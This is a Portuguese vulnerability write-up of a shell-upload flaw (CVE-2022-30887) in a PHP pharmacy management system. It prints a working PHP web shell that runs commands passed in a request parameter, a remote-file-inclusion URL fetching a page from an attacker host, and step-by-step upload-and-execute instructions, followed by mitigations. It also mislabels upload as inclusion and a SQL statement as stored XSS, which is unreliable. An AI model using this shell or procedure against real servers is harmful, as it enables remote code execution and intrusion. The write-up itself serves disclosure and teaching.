CVE-2022-30887

Pharmacy Management System 1.0 Shell Upload

Esta aplicação foi construída por Mayurik O sistema de gestão de farmácia em PHP foi desenvolvido para melhorar a precisão e eficiência das farmácias através de segurança e gestão. Em suma, é uma aplicação de inventário de produtos.

O Pharmacy Management System v1.0 foi descoberto por conter uma vulnerabilidade de execução remota de código (RCE) através do componente "/php_action/editProductImage.php". Esta vulnerabilidade permite que atacantes executem código arbitrário através de um ficheiro de imagem manipulado.

O que é um Ataque de Inclusão de Ficheiro

Vulnerabilidades de upload de ficheiro são normalmente uma vulnerabilidade que permite a execução de um script. Funciona quando fazemos upload do ficheiro para o servidor e inserimos um comando no ficheiro enviado. As vulnerabilidades de upload de ficheiro dividem-se em dois tipos;

• LFI (Inclusão Local de Ficheiro)
• RFI (Inclusão Remota de Ficheiro)

LFI (Inclusão Local de Ficheiro)

Esta vulnerabilidade ocorre quando os ficheiros locais no servidor incluem o ficheiro recuperado do utilizador. Os valores recebidos do utilizador devem ser esterilizados.

Exemplo de LFI (Inclusão Local de Ficheiro) ;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

RFI (Inclusão Remota de Ficheiro)

Esta vulnerabilidade funciona quando o atacante envia malware de um servidor remoto.

Exemplo de RFI (Inclusão Remota de Ficheiro) ;

"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Explicação do exploit, PoC

• Primeiro, após a página de login, seremos direcionados para "dashboar.php"
• Em segundo lugar, para ir à página onde a vulnerabilidade foi encontrada, clique em medicine no menu e depois em manage medicine, será direcionado para "product.php" e clique em edit image no separador action

• Na página "editproduct.php", clique no botão select photo e envie o seu script shell.

Exemplo de script php shell;

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

• Clique no botão save e capture o pedido no burp suite

Pedido;

Resposta;

• O ficheiro foi descarregado para a pasta "/assets/myimage/"
• Faça um pedido para executar o seu script no URL que é /assets/myimage/shell.php?s=echo+%22MuallimNaci%22

Pedido;

Resposta;

• E BOOM

Além disso, esta vulnerabilidade ainda está ativa na aplicação.

Mitigação

• Garanta que apenas aceita caracteres como "a-Z0-9" e não permita ".." ou "/" ou "%00" (byte nulo)
• Certifique-se de que a "flag allow_url_include" está desligada
• De acordo com a remediação OWASP 10; "A aplicação pode manter uma lista branca de ficheiros, que podem ser incluídos pela página, e depois usar um identificador (por exemplo, o número de índice) para aceder ao ficheiro selecionado. Qualquer pedido contendo um identificador inválido deve ser rejeitado, desta forma não há superfície de ataque para utilizadores maliciosos manipularem o caminho"

Extra

Na mesma página que é "editproduct.php", encontrei xss armazenado

• O código que contém a vulnerabilidade é;

$sql = "UPDATE product SET product_name = '$productName'

Neste bloco de código pode sair do contexto com aspas duplas (")

Pedido;

Resposta;

Conclusão

Espero ter conseguido explicar como a vulnerabilidade de inclusão de ficheiro funciona, o que ou que situação desencadeia esta vulnerabilidade e como prevenir este ataque por parte de atacantes. Obrigado pelo seu precioso tempo.